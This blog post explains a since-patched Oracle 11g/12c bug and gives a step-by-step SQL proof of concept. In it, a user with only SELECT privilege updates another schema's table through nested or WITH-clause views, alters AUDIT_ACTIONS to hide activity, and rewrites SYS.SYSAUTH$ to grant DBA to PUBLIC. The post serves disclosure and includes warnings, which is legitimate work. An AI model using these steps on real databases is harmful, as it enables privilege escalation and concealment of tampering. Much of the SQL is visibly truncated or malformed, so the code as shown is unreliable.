Today, an Oracle security blog revealed a “monster bug” (actually, TWO of them) which allows a user to UPDATE data in a table in another schema that they only have the SELECT privilege to.
In case you’re wondering, the author did inform Oracle a year ago – and has sat on it since, so a huge amount of kudos to them! This is gratuitously stolen from that blog.
The user has to create a “simple” view based on the table and then a non-“simple” (such as an aggregated) view based on the first view to override the table’s object privileges.
By exploiting this bug, the user may be able to cover their tracks and to obtain DBA access.
This is known to exist in all “current” versions of the database (11g and 12c, not clear if it includes 9i or 10g). The bug has been fixed with the January 2014 (and onwards) CPU for 11g and 12c, but there is no fix for earlier versions (yet, if ever).
A working example can be seen after the break – DO NOT RUN THIS IN PRODUCTION!!!
In this example:
- MARKUSER has CONNECT and CREATE TABLE system privileges
- LUKEUSER has CONNECT and CREATE VIEW system privileges
- JOHNUSER has CONNECT and SELECT ANY DICTIONARY system privileges
As the MARKUSER user:
CREATE markuser.marktab1 (mark_id VARCHAR2(20) NOT NULL);
INSERT INTO markuser.marktab1 (mark_id)
VALUES (‘Initial value’);
Grant SELECT *ONLY* on the MARKTAB1 table to the LUKEUSER user:
GRANT select ON markuser.marktab1 TO lukeuser;
As the LUKEUSER user, create a view based on the MARKTAB1 table. The CREATE VIEW statement will succeed because of the CREATE VIEW system privilege:
CREATE VIEW lukeuser.marktab1_vw1 AS
As the LUKEUSER user, try and update the view. This will fail as expected as LUKEUSER does not have the UPDATE object privilege on the underlying table:
SET mark_id = ‘FAIL1’;
As the LUKEUSER user, create a second, aggregated view based on the first:
CREATE VIEW lukeuser.marktab1_vw2 AS
GROUP BY mark_id;
As the LUKEUSER user, update the MARKTAB1_VW2 view. This will update the MARKUSER.MARKTAB1 table if it works:
SET mark_id = ‘FAIL2’;
Uh-oh. This worked! This query will return ‘FAIL2’:
This indicates that if you create a basic view on a table and then an aggregate view on THAT view, you can override object privileges on the underlying table.
Not only that – we don’t even need an aggregated second view! This can’t be exposed by a second “basic”/”simple” view – it needs some elaboration to manifest itself.
For instance, we can also do it by hardcoding a value from the first row in the table:
CREATE VIEW marktab1_vw3 AS
WHERE 1 IN (
WHERE ROWNUM = 1
SET mark_id = ‘FAIL3’;
This worked too! This query will return ‘FAIL3’:
SELECT * FROM markuser.marktab1;
And if the user DOESN’T have the CREATE VIEW system privilege?
(WITH x AS
(SELECT * FROM markuser.marktab1)
SELECT * FROM x)
SET mark_id = ‘FAIL4’;
Whoops. This query will return ‘FAIL4’:
Not only can you update user tables, but what about the data dictionary? Yep, that too. As JOHNUSER:
(WITH x AS
(SELECT * FROM audit_actions)
SELECT * FROM x)
SET name = ‘FAIL5’;
This query will return ‘FAIL5’, indicating that someone with malicious intent could cover their tracks by altering their own AUDIT_ACTIONS entries:
Let’s say we want to cause absolute carnage…
Obviously, DO NOT RUN THIS IN PRODUCTION!!!
As the JOHNUSER, who has the SELECT ANY DICTIONARY system privilege, get the grantee#/user_id of the MARKDBA power user using the ALL_USERS view:
WHERE grantee# = (
WHERE username = ‘MARKDBA’)
AND rownum = 1;
This returns grantee# = 221, privilege# = 261 and sequence# = 12506869
We could look up the PRIVILEGE# in SYS.SYSTEM_PRIVILEGE_MAP, but not all privileges are there, such as #4 (DBA) and we’re busy people, right?
Instead, we look up the MARKDBA user in the SYS.SYSAUTH$ table to ensure a tautology to expose the bug, then we give DBA access (privilege# = 4) to the PUBLIC (grantee# = 1) role:
(WITH x AS (
WHERE grantee# = 221
AND privilege# = -261
AND sequence# = 12506869
SELECT * FROM x) tab1
SET grantee# = 1, privilege = 4;